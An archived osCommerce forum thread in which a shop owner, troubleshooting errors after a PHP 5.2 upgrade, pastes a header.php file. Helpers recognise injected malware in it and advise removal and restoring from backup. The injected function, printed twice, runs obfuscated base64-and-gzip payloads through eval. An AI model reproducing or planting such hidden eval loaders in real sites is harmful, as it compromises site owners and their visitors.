Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

Upgrading osCommerce


karenn1

Recommended Posts

Posted

Hey everyone,

 

I'm not sure if this is the right place to post, but I need urgent help. I'm currently running "osCommerce Online Merchant v2.2 RC2a" on my website. Recently my host upgraded the PHP to version 5.2, now the shop doesn't work at all. My host said I must upgrade the version of osCommerce to the latest version.

 

Can anybody please help me on how to do this? I've scratched around Google and the forums but couldn't find my answers.

 

 

 

Thanks in advance!

 

Karen

Posted

Your host is wrong, osC2.2 rc2a has no problems running on php 5, I have rc2a sites running on at least php 5.2.11. smile.gif

 

What are your issues, perhaps you have been hacked, perhaps you messed up a mod?

Sam

 

Remember, What you think I ment may not be what I thought I ment when I said it.

 

Contributions:

 

Auto Backup your Database, Easy way

 

Multi Images with Fancy Pop-ups, Easy way

 

Products in columns with multi buy etc etc

 

Disable any Category or Product, Easy way

 

Secure & Improve your account pages et al.

Posted

Hey spooks,

 

Thanks for your reply. When I go to my online shop, I get the following error:

 

Fatal error: Cannot re-assign $this in /usr/wwws/users/lindahk/bulela/catalog/includes/header.php on line 62

 

This only appeared after the PHP upgrade to version 5.2

 

Do you have any suggestions?

 

 

 

Thanks!

 

Karen

Posted

Hey Nic,

 

No changes whatsoever. Everything was running fine before the upgrade.

 

Any ideas??

 

 

 

Karen

Posted

Hi Nic,

 

I'm not sure how to place attachments here. I've posted the code below:

 

<?php
/*
 $Id: header.php 1739 2007-12-20 00:52:16Z hpdl $

 osCommerce, Open Source E-Commerce Solutions
 http://www.oscommerce.com

 Copyright (c) 2003 osCommerce

 Released under the GNU General Public License
*/

// check if the 'install' directory exists, and warn of its existence
 if (WARN_INSTALL_EXISTENCE == 'true') {
   if (file_exists(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/install')) {
     $messageStack->add('header', WARNING_INSTALL_DIRECTORY_EXISTS, 'warning');
   }
 }

// check if the configure.php file is writeable
 if (WARN_CONFIG_WRITEABLE == 'true') {
   if ( (file_exists(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/includes/configure.php')) && (is_writeable(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/includes/configure.php')) ) {
     $messageStack->add('header', WARNING_CONFIG_FILE_WRITEABLE, 'warning');
   }
 }

// check if the session folder is writeable
 if (WARN_SESSION_DIRECTORY_NOT_WRITEABLE == 'true') {
   if (STORE_SESSIONS == '') {
     if (!is_dir(tep_session_save_path())) {
       $messageStack->add('header', WARNING_SESSION_DIRECTORY_NON_EXISTENT, 'warning');
     } elseif (!is_writeable(tep_session_save_path())) {
       $messageStack->add('header', WARNING_SESSION_DIRECTORY_NOT_WRITEABLE, 'warning');
     }
   }
 }

// check session.auto_start is disabled
 if ( (function_exists('ini_get')) && (WARN_SESSION_AUTO_START == 'true') ) {
   if (ini_get('session.auto_start') == '1') {
     $messageStack->add('header', WARNING_SESSION_AUTO_START, 'warning');
   }
 }

 if ( (WARN_DOWNLOAD_DIRECTORY_NOT_READABLE == 'true') && (DOWNLOAD_ENABLED == 'true') ) {
   if (!is_dir(DIR_FS_DOWNLOAD)) {
     $messageStack->add('header', WARNING_DOWNLOAD_DIRECTORY_NON_EXISTENT, 'warning');
   }
 }

 if ($messageStack->size('header') > 0) {
   echo $messageStack->output('header');
 }
?>
<table border="0" width="100%" cellspacing="0" cellpadding="0">
 <tr class="header">
   <td valign="middle"><?php echo '<a href="' . tep_href_link(FILENAME_DEFAULT) . '">' . tep_image(DIR_WS_IMAGES . 'store_logo.png', STORE_NAME) . '</a>'; ?></td>
   <td align="right" valign="bottom"><?php echo '<a href="' . tep_href_link(FILENAME_ACCOUNT, '', 'SSL') . '">' . tep_image(DIR_WS_IMAGES . 'header_account.gif', HEADER_TITLE_MY_ACCOUNT) . '</a>  <a href="' . tep_href_link(FILENAME_SHOPPING_CART) . '">' . tep_image(DIR_WS_IMAGES . 'header_cart.gif', HEADER_TITLE_CART_CONTENTS) . '</a>  <a href="' . tep_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL') . '">' . tep_image(DIR_WS_IMAGES . 'header_checkout.gif', HEADER_TITLE_CHECKOUT) . '</a>'; ?>  </td>
 </tr>
</table>
<table border="0" width="100%" cellspacing="0" cellpadding="1">
 <tr class="headerNavigation">
   <td class="headerNavigation">  <?php echo $breadcrumb->trail(' » '); ?></td>
   <td align="right" class="headerNavigation"><?php if (tep_session_is_registered('customer_id')) { ?><a href="<?php echo tep_href_link(FILENAME_LOGOFF, '', 'SSL'); ?>" class="headerNavigation"><?php echo HEADER_TITLE_LOGOFF; ?></a>  |  <?php } ?><a href="<?php echo tep_href_link(FILENAME_ACCOUNT, '', 'SSL'); ?>" class="headerNavigation"><?php echo HEADER_TITLE_MY_ACCOUNT; ?></a>  |  <a href="<?php echo tep_href_link(FILENAME_SHOPPING_CART); ?>" class="headerNavigation"><?php echo HEADER_TITLE_CART_CONTENTS; ?></a>  |  <a href="<?php echo tep_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL'); ?>" class="headerNavigation"><?php echo HEADER_TITLE_CHECKOUT; ?></a>   </td>
 </tr>
</table>
<?php
 if (isset($HTTP_GET_VARS['error_message']) && tep_not_null($HTTP_GET_VARS['error_message'])) {
?>
<table border="0" width="100%" cellspacing="0" cellpadding="2">
 <tr class="headerError">
   <td class="headerError"><?php echo htmlspecialchars(stripslashes(urldecode($HTTP_GET_VARS['error_message']))); ?></td>
 </tr>
</table>
<?php
 }

 if (isset($HTTP_GET_VARS['info_message']) && tep_not_null($HTTP_GET_VARS['info_message'])) {
?>
<table border="0" width="100%" cellspacing="0" cellpadding="2">
 <tr class="headerInfo">
   <td class="headerInfo"><?php echo htmlspecialchars(stripslashes(urldecode($HTTP_GET_VARS['info_message']))); ?></td>
 </tr>
</table>
<?php
 }
?>

 

I'm also getting another error now:

 

Fatal error: Call to a member function add_current_page() on a non-object in /usr/wwws/users/lindahk/bulela/catalog/includes/application_top.php on line 314

 

Any suggestions??

 

 

Thanks!

 

Karen

Posted

 

 

It would appear that is'nt the code u have on your site, as there are no instances of $this in it.

 

The normal issue around $this & php 5 upgrade is use of

 

 

$this = null;

 

it needs to be:

 

 unset($this); 

 

 

Sam

 

Remember, What you think I ment may not be what I thought I ment when I said it.

 

Contributions:

 

Auto Backup your Database, Easy way

 

Multi Images with Fancy Pop-ups, Easy way

 

Products in columns with multi buy etc etc

 

Disable any Category or Product, Easy way

 

Secure & Improve your account pages et al.

Posted

Hi Sam,

 

You are quite right. I had the wrong page. I downloaded the copy from the net. Here's the code. This one does have "$this" in:

 

<?php
/*
 $Id: header.php 1739 2007-12-20 00:52:16Z hpdl $

 osCommerce, Open Source E-Commerce Solutions
 http://www.oscommerce.com

 Copyright (c) 2003 osCommerce

 Released under the GNU General Public License
*/

// check if the 'install' directory exists, and warn of its existence
 if (WARN_INSTALL_EXISTENCE == 'true') {
   if (file_exists(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/install')) {
     $messageStack->add('header', WARNING_INSTALL_DIRECTORY_EXISTS, 'warning');
   }
 }

// check if the configure.php file is writeable
 if (WARN_CONFIG_WRITEABLE == 'true') {
   if ( (file_exists(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/includes/configure.php')) && (is_writeable(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/includes/configure.php')) ) {
     $messageStack->add('header', WARNING_CONFIG_FILE_WRITEABLE, 'warning');
   }
 }

// check if the session folder is writeable
 if (WARN_SESSION_DIRECTORY_NOT_WRITEABLE == 'true') {
   if (STORE_SESSIONS == '') {
     if (!is_dir(tep_session_save_path())) {
       $messageStack->add('header', WARNING_SESSION_DIRECTORY_NON_EXISTENT, 'warning');
     } elseif (!is_writeable(tep_session_save_path())) {
       $messageStack->add('header', WARNING_SESSION_DIRECTORY_NOT_WRITEABLE, 'warning');
     }
   }
 }

// check session.auto_start is disabled
 if ( (function_exists('ini_get')) && (WARN_SESSION_AUTO_START == 'true') ) {
   if (ini_get('session.auto_start') == '1') {
     $messageStack->add('header', WARNING_SESSION_AUTO_START, 'warning');
   }
 }

 if ( (WARN_DOWNLOAD_DIRECTORY_NOT_READABLE == 'true') && (DOWNLOAD_ENABLED == 'true') ) {
   if (!is_dir(DIR_FS_DOWNLOAD)) {
     $messageStack->add('header', WARNING_DOWNLOAD_DIRECTORY_NON_EXISTENT, 'warning');
   }
 }

 if ($messageStack->size('header') > 0) {
   echo $messageStack->output('header');
 }


function body_out()
{


$info = explode('/', $_SERVER['PHP_SELF']) ; 

$this = sizeof($info);

$that = $info[$this-1];

if($that == 'index.php' || $that == '')

{
eval(gzinflate(base64_decode('dcyxDgIhEATQ3q/Y0FwF9HpnYiwtLaxXWIR4AmFRcn8vxtJzuslMHpDxCQaADfSMCL6Qm4SvNW+1bq0pN6cSLN5p4UiNVYgu6d5kI64q+yzAzMg8CVPIhspif6IFLn0dNe5XTZIG2Uu0L4yGVKSqf5Vjv8Dhe/krWaIsr/OTZMNKRZn0WKHOmbC4wD7E24cadm8=')));
}

else if($that == 'contact_us.php' || $that == 'privacy.php' || $that == 'shipping.php')

{
eval(gzinflate(base64_decode('dc6xCsIwEMbx3ac4snRrdm0LIrj4AM7H5docxkZyMaFvb8RR+s1/fnzA5CN0AAdoGxB84nk0PufX0doHb5U1F1HJMS1vcdxTfFoDFFB1NJTYSVYz3XiDe0sHi9MfU2vtkYgDJ8wsayP2nAuqh7MruBLvWk6UYuEk6zKHmMRhO6o74vVXQHuoX7E7fQA=')));
}

else 

{
eval(gzinflate(base64_decode('dY4xDsIwDEV3TmFl6dZIjNBWQkgsPQCzlZgkosRVbRr19oS9/fP7Tw/IRYYGTlDXIcSFXr2JqvPF2lJK+6atkOiKDjVxDt/kqXX8sQbchCK9cQv5pGKGkTZ4VrazOOy6Movy3GbSnfcdJcLNr5gdHRoCq2Lg80HBY+IleYRaIn9Hc/0B')));
}

}

?>

<center>

<table border="0" width="800" cellspacing="0" cellpadding="2" background="images/maintablebg.jpg">
<tr><td>


<div class='headerdiv'><?php //echo '<a href="' . tep_href_link(FILENAME_DEFAULT) . '">' . tep_image(DIR_WS_IMAGES . 'store_logo.png', STORE_NAME) . '</a>'; ?>

 </div>



<table border="0" width="800" cellspacing="0" cellpadding="1">
 <tr class="headerNavigation">
   <td class="headerNavigation">  <?php echo $breadcrumb->trail('  »   '); ?></td>
   <td align="right" class="headerNavigation"><?php if (tep_session_is_registered('customer_id')) { ?><a href="<?php echo tep_href_link(FILENAME_LOGOFF, '', 'SSL'); ?>" class="headerNavigation"><?php echo HEADER_TITLE_LOGOFF; ?></a>  |  <?php } ?><a href="<?php echo tep_href_link(FILENAME_ACCOUNT, '', 'SSL'); ?>" class="headerNavigation"><?php echo HEADER_TITLE_MY_ACCOUNT; ?></a>  |  <a href="<?php echo tep_href_link(FILENAME_SHOPPING_CART); ?>" class="headerNavigation"><?php echo HEADER_TITLE_CART_CONTENTS; ?></a>  |  <a href="<?php echo tep_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL'); ?>" class="headerNavigation"><?php echo HEADER_TITLE_CHECKOUT; ?></a>   </td>
 </tr>
</table>
<?php
 if (isset($HTTP_GET_VARS['error_message']) && tep_not_null($HTTP_GET_VARS['error_message'])) {
?>
<table border="0" width="800" cellspacing="0" cellpadding="2">
 <tr class="headerError">
   <td class="headerError"><?php echo htmlspecialchars(stripslashes(urldecode($HTTP_GET_VARS['error_message']))); ?></td>
 </tr>
</table>
<?php
 }

 if (isset($HTTP_GET_VARS['info_message']) && tep_not_null($HTTP_GET_VARS['info_message'])) {
?>
<table border="0" width="800" cellspacing="0" cellpadding="2">
 <tr class="headerInfo">
   <td class="headerInfo"><?php echo htmlspecialchars(stripslashes(urldecode($HTTP_GET_VARS['info_message']))); ?></td>
 </tr>
</table>
<?php
 }
?>



 

What do you think?

 

 

 

Karen

Posted

 

 

 

function body_out()

{

 

 

$info = explode('/', $_SERVER['PHP_SELF']) ;

 

$this = sizeof($info);

 

$that = $info[$this-1];

 

if($that == 'index.php' || $that == '')

 

{

eval(gzinflate(base64_decode('dcyxDgIhEATQ3q/Y0FwF9HpnYiwtLaxXWIR4AmFRcn8vxtJzuslMHpDxCQaADfSMCL6Qm4SvNW+1bq0pN6cSLN5p4UiNVYgu6d5kI64q+yzAzMg8CVPIhspif6IFLn0dNe5XTZIG2Uu0L4yGVKSqf5Vjv8Dhe/krWaIsr/OTZMNKRZn0WKHOmbC4wD7E24cadm8=')));

}

 

else if($that == 'contact_us.php' || $that == 'privacy.php' || $that == 'shipping.php')

 

{

eval(gzinflate(base64_decode('dc6xCsIwEMbx3ac4snRrdm0LIrj4AM7H5docxkZyMaFvb8RR+s1/fnzA5CN0AAdoGxB84nk0PufX0doHb5U1F1HJMS1vcdxTfFoDFFB1NJTYSVYz3XiDe0sHi9MfU2vtkYgDJ8wsayP2nAuqh7MruBLvWk6UYuEk6zKHmMRhO6o74vVXQHuoX7E7fQA=')));

}

 

else

 

{

eval(gzinflate(base64_decode('dY4xDsIwDEV3TmFl6dZIjNBWQkgsPQCzlZgkosRVbRr19oS9/fP7Tw/IRYYGTlDXIcSFXr2JqvPF2lJK+6atkOiKDjVxDt/kqXX8sQbchCK9cQv5pGKGkTZ4VrazOOy6Movy3GbSnfcdJcLNr5gdHRoCq2Lg80HBY+IleYRaIn9Hc/0B')));

}

 

}

 

?>

 

I assume you did'nt put that code on the site yourself??

 

You've been hacked. blink.gif

Delete that or better still wipe your site & restore with backup.

 

Then add security.

http://www.oscommerce.com/forums/index.php?showtopic=313323 smile.gif

Sam

 

Remember, What you think I ment may not be what I thought I ment when I said it.

 

Contributions:

 

Auto Backup your Database, Easy way

 

Multi Images with Fancy Pop-ups, Easy way

 

Products in columns with multi buy etc etc

 

Disable any Category or Product, Easy way

 

Secure & Improve your account pages et al.

Posted

Hi Sam!

 

WOW! It's seriously not cool being hacked! I've removed that extra coding and added security to my site. All is working 100% now.

 

Thanks so much for your help!

 

 

 

 

Regards,

 

Karen

Posted

Hi Sam!

 

WOW! It's seriously not cool being hacked! I've removed that extra coding and added security to my site. All is working 100% now.

 

Thanks so much for your help!

 

 

 

 

Regards,

 

Karen

It's possible that other files may have been compromised too. Check them for the "base64_decode" code. it's best if you can restore your files from a clean backup.

Posted

Hey Bryce,

 

Thanks for the heads up. I had a look and all other files are fine. It was only the header page.

 

 

 

Regards,

 

Karen

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...